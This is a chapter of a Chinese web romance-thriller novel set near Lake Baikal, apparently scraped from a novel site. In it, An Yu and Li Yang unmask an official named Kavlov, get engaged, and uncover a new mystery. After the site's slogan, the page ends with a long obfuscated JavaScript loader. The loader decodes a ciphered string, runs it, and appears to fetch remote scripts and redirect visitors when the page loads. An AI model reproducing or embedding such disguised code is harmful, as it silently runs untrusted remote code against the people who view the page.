第583章:买家
清晨的阳光透过天窗斜斜地照进来,在地板上投下菱形的光斑。安瑜是被壁炉里柴火噼啪的声响吵醒的,睁开眼时,身边的位置已经空了,只剩下余温浅浅地印在毛毯上。她披了件李阳的厚外套起身,下楼时正看见他蹲在壁炉前添柴,侧脸的线条被火光描得格外柔和,睫毛上沾着点细碎的火星,像落了星子。
「醒了?」李阳转过头,眼里的光比火焰还亮,「教授去镇上买面包了,说要给你尝尝刚出炉的列巴。」他起身时,膝盖在地板上磕出轻响,安瑜这才注意到他昨天打斗时扭伤的脚踝,此刻正微微肿着,走一步就往内撇一下。
「怎么不早说?」她赶紧走过去,蹲下身要查看,却被他按住手。他的掌心带着柴火的温度,烫得她指尖发麻。
「小伤,」李阳笑了笑,伸手替她把外套拢了拢,「等会儿涂点开化的草药就好,瓦西里教授这儿什么都有。」他说话时,呼吸扫过她的发顶,带着点刚烤好的饼乾香——原来他趁她睡着时,偷偷用教授的烤箱烤了曲奇,烤盘里还剩几块歪歪扭扭的,边缘烤得有点焦。
安瑜拿起一块尝了尝,黄油的香气混着焦脆的口感,竟意外地好吃。「比我做的桂花糕还香。」她故意逗他,却在他耳尖泛红时,突然觉得这笨拙的曲奇,比任何精致的甜点都要动人。
两人坐在壁炉前分享剩下的曲奇,阳光从天窗漏下来,在他们交握的手上跳着舞。安瑜想起瓦西里教授说的话,突然开口:「那个字母『K』,你有头绪吗?」
李阳捏着曲奇的手顿了顿,随即摇了摇头:「暂时没有。但我总觉得,这个人跟伊莲娜的父亲脱不了关系——当年负责黄金走私案的官员里,有个姓氏首字母就是『K』。」他把最后一块曲奇塞进她嘴里,声音沉了沉,「不过你别担心,我不会让你卷进来的。」
安瑜嚼着曲奇,突然抓住他的手腕,指尖用力到泛白:「李阳,我们是要结婚的人,你的事就是我的事。」她看着他的眼睛,认真得像在许下什么誓言,「不管是『K』还是别的什么,我都跟你一起面对。」
李阳的喉结滚动了一下,突然把她拽进怀里。壁炉的火光在他眼里明明灭灭,像有两簇小火苗在跳动。「好,」他的声音发哑,「我们一起。」
瓦西里教授回来时,手里不仅拎着列巴,还带了份当地的报纸。头版的照片上,伊莲娜正站在警局门口,身边跟着个西装革履的中年男人,眉眼间竟和李阳有几分相似。「这是伊莲娜的表哥,卡夫洛夫,」教授指着那个男人,「也是现任贝加尔湖区的安全官,权力大得很。」
安瑜的心猛地一沉。姓氏首字母「K」,权力大,还和伊莲娜有关——难道他就是那个幕后黑手?
李阳的脸色也凝重起来,指尖在报纸上反覆划过卡夫洛夫的脸:「我见过他一次,三年前伊莲娜的生日宴上,他看起来温文尔雅,不像……」
「越是看起来无害的人,藏的秘密越深。」瓦西里叹了口气,把刚煮好的咖啡推给他们,「安德烈的档案里提到过,当年有个『K姓官员』故意篡改了打捞记录,现在看来,就是他的父亲。」
咖啡的苦味在舌尖蔓延开来,安瑜看着窗外白茫茫的雪原,突然觉得这看似平静的小镇,藏着太多勾连的往事。而她和李阳,就像掉进了一张用血缘和阴谋织成的网,越挣扎,缠得越紧。
「阿列克谢那边有消息了吗?」李阳突然问,声音里带着点急切。
「他说今晚子时会来这儿,」瓦西里压低声音,「他偷到了卡夫洛夫和当年涉案人员的通话记录,说能证明安德烈的清白。」
壁炉里的柴火突然爆出个火星,吓得安瑜往李阳身边缩了缩。他顺势握住她的手,掌心的温度烫得人安心。「别怕,」他在她耳边轻声说,「有我在。」
整个下午,李阳都在摆弄瓦西里教授的老式收音机,试图联系上在镇上的朋友,确认卡夫洛夫的动向。安瑜坐在他身边,帮他整理散落的零件,偶尔指尖碰到一起,两人都会像触电似的缩一下,又在目光相触时偷偷笑起来。
「你看,」安瑜举起个小小的电容,「这个跟你上次给我修项炼时用的一样。」
李阳抬头,阳光正好落在她脸上,绒毛都看得清清楚楚。「那时候你还说我手笨,」他笑着夺过电容,指尖故意蹭过她的手背,「结果还不是天天戴着那条项炼?」
安瑜的脸一下子红了。那条银项炼是他用易拉罐拉环做的,歪歪扭扭的,却被她视若珍宝,睡觉都舍不得摘。她突然想起在老城区的小院,他替她戴银镯子时的温柔,突然觉得不管是昂贵的首饰,还是廉价的手工,只要是他送的,就都是最好的。
傍晚时分,天空又飘起了雪。李阳把安瑜裹进大衣里,带她去屋后的山坡看日落。夕阳把雪原染成了橘红色,远处的贝加尔湖像块巨大的红宝石,边缘镶着圈金边。
「你看,」李阳指着湖中心的小岛,「等雪化了,我们就去那里野餐,我给你做糖醋排骨,用贝加尔湖的水炖。」
安瑜靠在他肩上,听着他规划未来的样子,突然觉得那些阴谋和危险都变得不那么重要了。重要的是此刻,他在她身边,夕阳在他们脚下,连风里都带着点甜。
「还要带桂花酒,」她补充道,「就用我们在小院酿的那种。」
「好。」李阳低头,在她发顶印下一个吻,「还要带你做的桂花糕,放两勺蜂蜜的那种。」
两人在山坡上待到夕阳完全沉下去,才踩着厚厚的积雪往回走。李阳的脚踝不方便,安瑜就放慢脚步陪他,偶尔他脚下打滑,她就用力拽住他的胳膊,两人跌跌撞撞地笑成一团,像两个没长大的孩子。
回到木屋时,瓦西里教授已经做好了晚餐。红菜汤冒着热气,列巴上涂着厚厚的黄油,角落里的收音机突然传来滋滋的电流声,接着是阿列克谢急促的声音:「我被发现了,他们在追我……记录在……」
声音突然中断,只剩下刺耳的噪音。
李阳猛地站起来,手紧紧攥成了拳:「我去接他!」
「不行!」瓦西里拉住他,「这明显是陷阱,卡夫洛夫就是想引你出去!」
安瑜的心跳得像要撞破胸膛,她看着李阳紧绷的侧脸,突然抓住他的手:「我跟你一起去。」
「不许去!」李阳的声音发紧,「太危险了!」
「那你也不许去!」安瑜的眼泪在眼眶里打转,「我们可以报警,可以等明天,为什么非要今晚?」
「因为那是阿列克谢用命换来的证据,」李阳看着她的眼睛,声音里带着种她从未见过的决绝,「我不能让他白死。」
两人僵持在原地,壁炉的火光在他们脸上投下明明灭灭的阴影。最终,瓦西里叹了口气:「我知道有条密道能绕到镇外的谷仓,阿列克谢说过会往那边跑。」他从墙上摘下幅油画,露出后面的暗门,「你们从这里走,我去引开他们的注意力。」
李阳紧紧抱了抱安瑜,力道大得像要把她揉进骨血里。「等我回来,」他的声音在她耳边发颤,「一定要等我回来。」
安瑜点了点头,眼泪终于掉了下来:「你也是,一定要回来。」
李阳转身钻进暗门时,安瑜突然想起他口袋里那半片染红的枫叶,想起他没说出口的秘密,想起他在山坡上规划的未来。她看着暗门缓缓合上,突然抓起壁炉边的柴刀,也跟着钻了进去。
暗道里又黑又窄,只能听到自己的心跳和远处李阳的脚步声。安瑜摸索着往前走,指尖触到冰冷的石壁,突然觉得这条路像极了他们一路走来的感情——布满未知,却因为有彼此,而无所畏惧。
不知走了多久,前方终于出现了微光。安瑜加快脚步,刚钻出暗门,就听到谷仓里传来打斗的声响。她冲进去时,正看见卡夫洛夫举着枪,对准了倒在地上的李阳。
「不要!」安瑜尖叫着扑过去,用身体挡住李阳。
卡夫洛夫愣了一下,随即笑了,枪口缓缓转向她:「真是感人啊,可惜……」
他的话没说完,就被突然从横梁上跳下来的阿列克谢扑倒在地。两人扭打在一起,枪「啪」地掉在地上,滑到了安瑜脚边。
李阳挣扎着爬起来,把安瑜护在身后,眼底的红血丝像要燃烧起来。「阿列克谢,你没事?」
「托你的福,」阿列克谢一拳砸在卡夫洛夫脸上,声音里带着喘息,「把记录拿到手了!」
混乱中,安瑜捡起地上的枪,手指因为紧张而发颤。她看着李阳和阿列克谢合力制服卡夫洛夫,看着远处警笛声越来越近,突然觉得双腿发软,跌坐在地上。
李阳立刻跑过来抱住她,手掌抚过她的后背,动作温柔得像在安抚受惊的小猫。「没事了,」他的声音带着后怕的颤抖,「都没事了。」
安瑜埋在他怀里,听着他有力的心跳,突然觉得这一切像场荒诞的梦。警笛声丶打斗声丶阿列克谢的呼喊声,都渐渐模糊了,只剩下他怀里的温度,真实得让人心安。
卡夫洛夫被警察带走时,回头看了李阳一眼,眼神里带着种诡异的笑。安瑜没看懂那笑容的含义,只觉得心里发毛。李阳握紧她的手,在她耳边轻声说:「别理他,一切都结束了。」
雪不知何时停了,月亮从云层里钻出来,把谷仓的影子拉得老长。阿列克谢拍了拍李阳的肩膀,笑着说:「剩下的交给我吧,你们赶紧回去,别让教授等急了。」他的目光落在安瑜身上,带着点促狭的笑意,「早就听说李阳有个中国女朋友,今天一看,果然比他写的女主角还勇敢。」
李阳的耳尖红了,拉着安瑜往谷仓外走。月光在雪地上洒下银辉,像铺了条通往黎明的路。安瑜看着他牵着自己的手,突然想起在喀山展览馆初见时的场景,突然觉得这兜兜转转的三年,像场漫长的告白。
「李阳,」她停下脚步,认真地看着他的眼睛,「我们什么时候结婚?」
李阳愣住了,随即笑起来,眼里的光比月光还亮。他单膝跪地,在雪地里捧出那半片染红的枫叶,背面的字迹在月光下清晰可见——「伊莲娜是被胁迫的,真正的幕后是卡夫洛夫的儿子,他也叫K」。
原来他早就知道,却一直没说,怕她担心。
「安瑜,」李阳的声音带着点哽咽,「等我们把这里的事处理完,就回中国,回老城区的小院,我用这半片枫叶当戒指,娶你好不好?」
安瑜的眼泪掉了下来,落在雪地里,瞬间凝成了冰晶。她点了点头,声音带着哭腔:「好。」
李阳笑着把她拉起来,紧紧拥入怀中。月光落在他们交握的手上,落在那半片枫叶上,像在为这迟到的告白,镀上一层温柔的金边。
远处的贝加尔湖在月光下泛着粼粼波光,仿佛在见证这场跨越风雪的约定。而那些尚未完全解开的谜团,像散落在雪地里的枫叶,正等待着春天到来时,被他们一起拾起。
安瑜靠在李阳怀里,听着他越来越清晰的心跳,突然觉得,不管前面还有多少路要走,只要身边有他,就什么都不怕了。
只是她没看到,李阳口袋里,还藏着一枚真正的戒指,钻石的切面在月光下闪着光,像颗浓缩的贝加尔湖。那是他早就准备好的,想在最合适的时机,给她一个最郑重的承诺。
雪地上的脚印,像串未完的省略号,延伸向远方,延伸向那个充满桂花香气的未来。
警车的红蓝灯光在雪地上晃出斑驳的影,李阳牵着安瑜往木屋走,两人的脚印在雪地里踩出深浅交错的坑,像串没写完的诗。谷仓里的喧嚣被远远抛在身后,只剩下风卷着雪沫掠过松林的轻响,还有他掌心传来的丶稳得让人安心的温度。
「刚才你冲过来的时候,我差点以为……」李阳的声音突然发紧,攥着她的手不自觉地用了力。指尖的薄茧蹭过她的掌心,带出细碎的痒,安瑜却能感觉到他指尖的颤抖——这个在打斗时眉头都没皱一下的男人,原来也会怕。
「以为我会受伤?」安瑜反握住他的手,故意用指尖挠了挠他的掌心,「你忘了,我可是练过两年散打的,大学时还拿过校运会女子组冠军。」
李阳愣了愣,随即笑出声,胸腔的震动透过相握的手传过来,像温柔的共振。「没忘,」他低头看她,睫毛上的雪粒在月光下闪着光,「但在我眼里,你永远是那个会在厨房撞翻糖罐的小姑娘。」
安瑜的脸瞬间红了,想起在老城区小院里,撒了他一衣襟的糖霜,想起他说「像你给我撒了把星星」时,眼里藏不住的温柔。那些被烟火气浸润的瞬间,此刻在漫天风雪里,突然变得格外清晰。
回到木屋时,瓦西里教授正坐在壁炉前打盹,膝头摊着本翻开的旧相册。听到动静,他抬起头,笑着指了指相册:「刚在看你们几个的照片,李阳那时候瘦得像根豆芽菜,却总爱抢着帮安瑜搬画架。」
安瑜凑过去看,照片上的李阳穿着洗得发白的卫衣,正费力地扛着个巨大的画板,而她跟在后面,手里拿着支画笔,笑得露出两颗小虎牙。「这是……」她惊讶地睁大眼睛,「我怎么不记得?」
「你那时候光顾着跟伊莲娜讨论色彩理论了,」李阳挠了挠头,耳尖红得像熟透的草莓,「在喀山美院的写生课上,你总说贝加尔湖的蓝太难调,我就偷偷跟教授学了半个月,想教你……」
他的话没说完,就被安瑜踮起脚堵住了嘴。壁炉的火光在她眼里跳着舞,像把所有没说出口的温柔,都揉进了这个带着雪味的吻里。瓦西里教授在旁边轻咳一声,假装翻相册,嘴角却忍不住往上扬。
后半夜,阿列克谢带着伊莲娜来了。她的眼睛红红的,显然刚哭过,看到安瑜时,突然鞠了一躬:「对不起,之前骗了你们。我也是没办法,卡夫洛夫拿我父亲的案子威胁我……」
「不怪你,」安瑜扶住她的胳膊,想起李阳说过她被迫周旋的苦衷,心里软得一塌糊涂,「能把真相说出来,就很勇敢了。」
伊莲娜笑了笑,从包里拿出个牛皮纸信封:「这是阿列克谢外公的档案,我们已经交给警方了,相信很快就能还他清白。」她的目光落在李阳身上,带着点释然的温柔,「当年你总说,爱情应该像贝加尔湖的冰,看着硬,其实藏着化不开的暖,现在看来,你说得对。」
李阳的耳尖又红了,把安瑜往身前带了带,像在宣示主权。安瑜被他逗笑了,悄悄捏了捏他的手心——原来他不仅会在背后偷偷做浪漫的事,还会在朋友面前说这么肉麻的话。
天亮时,卡夫洛夫的儿子果然被警方控制了。据说他继承了父亲的野心,想靠伪造的「黄金秘闻」搅乱局势,趁机倒卖贝加尔湖的矿产开发权,没想到被阿列克谢找到的档案拆穿了所有谎言。
「总算是结束了。」瓦西里教授站在窗前,看着远处的警车驶离,端起咖啡抿了一口,「安德烈在天有灵,也该瞑目了。」
安瑜靠在李阳肩上,看着窗外渐渐放晴的天空,突然觉得心里空落落的,又满满当当的。空的是那些悬着的担忧终于落地,满的是身边这个人带来的丶实实在在的安稳。
「我们什么时候回家?」她轻声问,声音里带着对老城区小院的想念——想念桂花的甜香,想念葡萄架下的藤椅,想念那个能让他系着围裙煎糖心蛋的厨房。
「等处理完这边的事,」李阳握住她的手,指尖在她无名指上轻轻画着圈,「就回去。我已经跟猴儿打过电话,让他把小院的积雪清一清,再给葡萄架裹层棉被。」
安瑜的心跳漏了一拍,看着他认真的侧脸,突然想起他口袋里那枚闪着光的戒指。他到底要等到什么时候,才肯拿出来?
接下来的几天,他们帮着阿列克谢整理安德烈的档案,偶尔去贝加尔湖边散步。雪开始融化,露出底下青黑色的冰面,像块巨大的墨玉,映着渐渐回暖的天空。
李阳会捡些被雪压弯的树枝,给她编小小的花环;会在冰面上打滑时紧紧攥住她的手,两人跌在雪地里笑成一团;会在夕阳把冰面染成金红色时,突然捂住她的眼睛,说「等会儿有惊喜」。
那个惊喜,是他在冰面上用树枝画的巨大爱心,里面写着「安瑜,嫁给我」。虽然被风吹得有点歪歪扭扭,却让安瑜的眼泪瞬间模糊了视线。
「这也太敷衍了吧,」她故意抹了把眼泪,嘴角却忍不住往上扬,「连朵花都没有。」
李阳从背后拿出支冻在冰里的玫瑰,花瓣上还凝着霜,是他早上在雪地里挖了半个小时找到的。「贝加尔湖的玫瑰,」他把冰玫瑰塞进她手里,单膝跪地,终于从口袋里掏出那个丝绒盒子,「虽然没你做的桂花糕甜,但足够真。」
钻戒的切面在夕阳下闪着光,像把整个贝加尔湖的星光都装了进去。安瑜看着他眼里的紧张和期待,突然想起在老城区巷口,他也是这样单膝跪地,说「嫁给我吧」,那时没有戒指,却已经在她心里刻下了永恒的印记。
「我愿意。」她的声音带着哽咽,伸出手让他把戒指套进来。冰凉的金属贴着皮肤,却烫得她心头发颤。
李阳把她拉进怀里,在冰面上转了个圈,两人的笑声在空旷的雪原上回荡,惊起几只水鸟,扑棱着翅膀飞向渐暗的天空。远处的阿列克谢和伊莲娜正举着相机拍照,瓦西里教授站在他们身后,笑得像个孩子。
回木屋的路上,安瑜举着那支冰玫瑰,戒指在指间闪着光。「其实,」她突然开口,「我早就知道你藏了戒指。」
李阳愣了愣:「什么时候?」
「在谷仓的时候,」她笑着说,「你口袋里鼓鼓囊囊的,我还以为是块没吃完的曲奇。」
李阳的脸瞬间红了,挠了挠头:「本来想找个更浪漫的地方……」
「这里就很好,」安瑜踮起脚,在他下巴上亲了一下,「有雪,有夕阳,有你,就是最好的。」
木屋的灯亮了起来,像颗悬在松林里的星。安瑜看着李阳在厨房忙碌的背影,突然觉得这场跨越了贝加尔湖的爱恋,终于在风雪过后,迎来了最温柔的春天。
只是她没注意,李阳在收拾行李时,从阿列克谢送的那本旧书里,掉出了张泛黄的纸条。上面是阿列克谢潦草的字迹:「卡夫洛夫的笔记本里,提到过个『中国买家』,代号和李阳父亲当年的笔名一样……」
李阳捡起纸条,脸色瞬间变得惨白。他飞快地把纸条塞进钱包,转身时,脸上已经恢复了笑容,仿佛什么都没发生过。
安瑜端着热可可走进来,看着他略显僵硬的笑容,突然觉得有点不对劲。「怎么了?」她把杯子递给他,「是不是累了?」
「没事,」李阳接过热可可,喝了一大口,眼神却有些飘忽,「在想回去给你做什么菜,辣子鸡还是糖醋排骨?」
安瑜看着他避开的目光,心里突然掠过一丝不安。她想起那张泛黄的纸条,想起李阳父亲那个很少被提及的笔名,想起卡夫洛夫笔记本里的「中国买家」……这些碎片像拼图一样,在她脑海里渐渐成形。
雪又开始下了,落在木屋的窗上,发出细碎的声响。安瑜看着李阳强装的笑容,突然觉得这刚刚放晴的天空,似乎又酝酿起了新的风暴。
他到底还在隐瞒什么?那个「中国买家」,真的和他父亲有关吗?
安瑜握着杯沿的手指渐渐收紧,热可可的温度透过瓷器传来,却暖不了她突然发冷的心。窗外的风雪越来越大,仿佛要把这短暂的平静,再次卷进未知的漩涡里。
一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();